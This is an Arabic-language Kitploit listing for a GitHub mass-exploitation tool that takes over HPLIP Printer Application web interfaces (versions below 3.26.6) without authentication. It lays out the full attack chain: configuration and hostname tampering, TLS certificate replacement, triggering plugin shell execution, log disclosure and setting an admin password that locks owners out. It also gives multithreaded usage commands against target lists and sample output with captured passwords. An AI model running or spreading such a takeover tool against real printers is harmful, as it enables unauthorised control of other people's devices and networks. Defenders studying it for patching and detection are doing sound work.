Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-91097-CVE-2026-91106 — HPLIP < 3.26.6 — استيلاء كامل على صلاحيات المسؤول عبر واجهة PAPPL الويب (بدون مصادقة). مرتبط بـ CVE-2026-91097 حتى CVE-2026-91106 (CVSS 9.3) | Kitploit
أدوات/GitHubGitHub/nxploited/cve-2026-91097-cve-2026-91106
أدوات دفاعيةماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتما بعد الاستغلالأمن الويبأمن الشبكاتاختبار الاختراق

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
تطوير الحمولات
GitHubnxploited/cve-2026-91097-cve-2026-91106

CVE-2026-91097-CVE-2026-91106

HPLIP < 3.26.6 — استيلاء كامل على صلاحيات المسؤول عبر واجهة PAPPL الويب (بدون مصادقة). مرتبط بـ CVE-2026-91097 حتى CVE-2026-91106 (CVSS 9.3)

عرض المستودع
4منذ يوم واحدلم تتم المراجعة بعد
مشاركة

Affected Auth Impact

🔬 انضم إلى Telegram للحصول على أحدث أبحاث الثغرات وإصدارات الاستغلال
Telegram


تطبيق HPLIP Printer — الاستيلاء الإداري دون مصادقة

أداة استغلال جماعي تستهدف تطبيق HPLIP Printer (واجهة الويب المبنية على PAPPL) في جميع إصدارات HPLIP الأقدم من 3.26.6. تستغل الأداة الحالة الافتراضية غير المصادَق عليها لواجهة PAPPL للويب لتنفيذ سلسلة استيلاء إداري كاملة: التلاعب بالإعدادات، تعديل اسم المضيف، استبدال شهادة TLS، تثبيت إضافة HP (يُفعّل تنفيذ shell لملف .run على الهدف)، استخراج سجلات النظام، وقفل كلمة مرور المسؤول.

ما الذي تستغله هذه الأداة

الثغرة الأساسية هي الوصول الإداري غير المصادَق عليه في PAPPL — يأتي تطبيق HPLIP Printer بدون كلمة مرور مُهيّأة افتراضيًا، مما يسمح لأي مهاجم على الشبكة بتنفيذ جميع الإجراءات الإدارية دون مصادقة عبر واجهة الويب (عادةً المنفذ 8000).

بالإضافة إلى ذلك، تستفيد سلسلة تثبيت الإضافة من نقاط ضعف تمت معالجتها في:

نشرة أمان HP: HPSBPI04151

نقاط النهاية المستغلة

سلسلة الاستغلال

root@kitploit:~
Target Discovery
    │
    ▼
Detect HPLIP Printer Application (Server header + version)
    │
    ▼
Check Authentication Status (/security)
    │
    ├── Password Set ──► Log as VULN (locked)
    │
    └── No Password (default) ──► Exploit Chain:
            │
            ├── 1. Modify Configuration (/config)
            │       dns_sd_name, location, organization, contact_name
            │       Verified: marker reflected in response
            │
            ├── 2. Change Hostname (/network)
            │       Old hostname captured, new hostname set
            │       Verified: new value reflected in response
            │
            ├── 3. Upload TLS Certificate (/tls-install-crt)
            │       Custom PEM certificate + private key
            │       Multipart file upload
            │
            ├── 4. Install HP Plugin (/plugin)
            │       Step 1: POST action=install-plugin (downloads .run)
            │       Step 2: POST action=license-accepted (executes with sh)
            │       ⚠ CVE-2026-91097 + CVE-2026-91102
            │
            ├── 5. Read Log File (/logfile.txt)
            │       System paths, environment info, Snap paths
            │
            └── 6. Set Admin Password (/security)
                    Locks out further unauthenticated access
                    Completes full admin takeover

التثبيت

root@kitploit:~
pip install requests

يتطلب Python 3.8+. لا توجد تبعيات أخرى.

الاستخدام

سطر الأوامر

root@kitploit:~
python T.py targets.txt 50
الوسيطةالوصفالافتراضي
targets.txtملف يحتوي على قائمة الأهداف (هدف واحد في كل سطر)يُطلب تفاعليًا
50عدد الخيوط المتزامنة15

الوضع التفاعلي

root@kitploit:~
python T.py

ستطلب الأداة ملف قائمة الأهداف وعدد الخيوط.

صيغة الهدف

root@kitploit:~
192.168.1.100:8000
https://10.0.0.1:8000
http://printer.local:8000
192.168.1.100
printer.example.com
  • إذا لم يُحدَّد منفذ، يُستخدم 8000 افتراضيًا
  • إذا لم تُحدَّد بروتوكول، تُجرَّب HTTP و HTTPS معًا
  • تُزال الأهداف المكررة تلقائيًا
  • تُتجاهل الأسطر التي تبدأ بـ #

ملفات الإخراج

مثال — AdminS.txt

root@kitploit:~
http://192.168.1.100:8000 | v3.22.10 | password=Nx-zD_buovl6wko0 | server=HPLIP_Printer_Application/3.22.10-13 PAPPL/1.4.9 | panel=http://192.168.1.100:8000/ | security=http://192.168.1.100:8000/security | config=http://192.168.1.100:8000/config | ...

مثال — Nx_modify.txt

root@kitploit:~
http://192.168.1.100:8000/config | v3.22.10 | type=CONFIG | verified=true | dns_sd_name: 'HPLIP Printer Application' -> 'HPLIP [marker]' | location: '' -> 'Nxploited-marker'
http://192.168.1.100:8000/network | v3.22.10 | type=HOSTNAME | verified=true | old=ORIGINAL-HOST.local | new=nx-abc123

إخراج الطرفية

root@kitploit:~
  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

   ██████   ██ ██   ██
   ██  ███  ██  ██ ██
   ██   ██████   ███
   ██    █████  ██ ██
   ██     ████ ██   ██

  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  HPLIP Printer Application  │  Admin Takeover + Full Control
  Affected < 3.26.6  │  PAPPL Unauthenticated Access

  CVE-2026-91097  │  Plugin Path Traversal
  CVE-2026-91102  │  Plugin Download Without Integrity + Shell Exec

  Exploited via Web:  /security /config /network /plugin /tls-install-crt /logs

  By: Nxploited ( Khaled Alenazi )  │  Telegram: @Kxploit
  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

 targets=4  threads=4

 00:11:34  [CUPS  ]  http://192.168.1.100:8000  Server: HPLIP_Printer_Application/3.22.10-13
 00:11:34  [VER   ]  http://192.168.1.100:8000  v3.22.10 < 3.26.6 AFFECTED
 00:11:35  [PROBE ]  http://192.168.1.100:8000  v3.22.10 | NO AUTH | exploiting...
 00:11:36  [CFG   ]  http://192.168.1.100:8000  CONFIG MODIFIED | marker=abc12345
 00:11:37  [NET   ]  http://192.168.1.100:8000  HOSTNAME 'OLD-HOST.local' -> 'nx-xyz789'
 00:11:38  [CERT  ]  http://192.168.1.100:8000  TLS CERT UPLOADED | marker=abc12345
 00:12:03  [PLG   ]  http://192.168.1.100:8000  PLUGIN | freshly_installed | shell_exec=True
 00:12:05  [LOG   ]  http://192.168.1.100:8000  logfile.txt | 19083B | env=/var/snap/hplip-printer-app/
 00:12:05  [ADMIN ]  http://192.168.1.100:8000  PASSWORD SET | pw=Nx-zD_buovl6wko0
 00:12:05  [HIT   ]  http://192.168.1.100:8000  v3.22.10 + CONFIG + HOSTNAME + CERT + PLUGIN + LOGS + ADMIN

 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 DONE  4/4  █ HIT=4  █ VULN=0  █ SAFE=0  █ SKIP=0

 ▐ Admin Takeover: 4  └─ AdminS.txt
 ▐ Modifications : 8  └─ Nx_modify.txt
 ▐ Cert Uploads  : 4  └─ Nx_upload.txt
 ▐ Plugin Exec   : 1  └─ Nx_plugin.txt
 ▐ Recon / Info  : 8  └─ Nx_recon.txt
 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

تصنيف الأهداف

الوسمالمعنى
HITتم استغلاله بنجاح — تحقق الاستيلاء الإداري

ملاحظات تقنية

  • يعمل تطبيق HPLIP Printer كـ حزمة Snap على الأنظمة المبنية على Ubuntu، مع تخزين البيانات تحت /var/snap/hplip-printer-app/common/
  • يستخدم إطار عمل PAPPL مكتبة GnuTLS لعمليات TLS (واجهة C API، وليس أوامر shell) — رفع شهادة TLS يكتب على القرص لكنه لا يُفعّل تنفيذ كود
  • يُفعّل تثبيت الإضافة الأمر sh plugin.run --keep --nox11 الذي ينفّذ ملف الإضافة الرسمي من HP — يُنزَّل المحتوى من خوادم HP؛ لا يتحكم المهاجم في محتوى الإضافة لكنه يُفعّل تنفيذها
  • تُعيّن الأداة كلمة مرور فريدة لكل هدف لمنع إعادة الاستغلال وتسجّل بيانات الاعتماد للتحقق
  • يستخدم كل تغيير في الإعدادات علامة عشوائية يتم التحقق منها في استجابة الخادم لتأكيد تطبيق التعديل
  • لا يوجد RCE عشوائي — لا ترفع الأداة web shells ولا تحقن أوامر عشوائية؛ الإجراءات القابلة للاستغلال هي الاستيلاء الإداري، التلاعب بالإعدادات، استبدال الشهادة، تنفيذ إضافة HP، والكشف عن المعلومات

المراجع

  • HP Security Bulletin HPSBPI04151
  • NVD — CVE-2026-91097
  • NVD — CVE-2026-91102
  • HPLIP Release Notes
  • PAPPL Framework

By: Nxploited


⚠️ إخلاء المسؤولية

تُقدَّم هذه الأداة حصريًا لأغراض البحث الأمني المصرّح به، واختبار الاختراق، والأغراض التعليمية فقط. يُعدّ استخدام هذه الأداة ضد أنظمة دون إذن كتابي صريح من مالك النظام غير قانوني وغير أخلاقي. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام أو ضرر أو عواقب قانونية ناتجة عن استخدام هذه الأداة. احصل دائمًا على التصريح المناسب قبل إجراء أي تقييمات أمنية. باستخدامك هذه الأداة، فإنك توافق على أنك المسؤول الوحيد عن أفعالك وعن الامتثال لجميع القوانين واللوائح المعمول بها.

تنزيل الأداة
CVECWECVSS 4.0الصلة
CVE-2026-91097CWE-94 / CWE-7877.0Path Traversal في plugin.spec — يمر تثبيت الإضافة الذي تُفعّله هذه الأداة عبر كود pluginhandler.py المصاب
CVE-2026-91102CWE-78 / CWE-4948.4التنزيل دون التحقق من السلامة — يتم تنزيل ملف الإضافة .run عبر HTTP وتنفيذه باستخدام sh على الهدف
نقطة النهايةالإجراءتم التحقق
/securityتعيين كلمة مرور المسؤول (الاستيلاء على الحساب)✅
/configتعديل اسم DNS-SD، الموقع، المؤسسة، جهة الاتصال✅
/networkتغيير اسم مضيف النظام✅
/tls-install-crtرفع شهادة TLS عشوائية + مفتاح خاص✅
/pluginتفعيل تنزيل إضافة HP + قبول الترخيص + التثبيت (ينفّذ .run باستخدام sh)✅
/logfile.txtقراءة ملف سجل التطبيق الكامل (الكشف عن المعلومات)✅
الملفالمحتويات
AdminS.txtالاستيلاء الإداري — كلمة المرور، إصدار الخادم، خريطة URL الكاملة للوحة
Nx_modify.txtتغييرات الإعدادات واسم المضيف التي تم التحقق منها (القيم القديمة → الجديدة)
Nx_upload.txtتأكيدات رفع شهادة TLS
Nx_plugin.txtنتائج تثبيت إضافة HP مع حالة تنفيذ shell
Nx_recon.txtالكشف عن المعلومات — حجم ملف السجل، مسارات البيئة، الإصدار
VULNمصاب لكن كلمة المرور مُهيّأة مسبقًا (مقفل)
SAFEالإصدار ≥ 3.26.6 (مُرقّع)
SKIPليس تطبيق HPLIP Printer أو غير قابل للوصول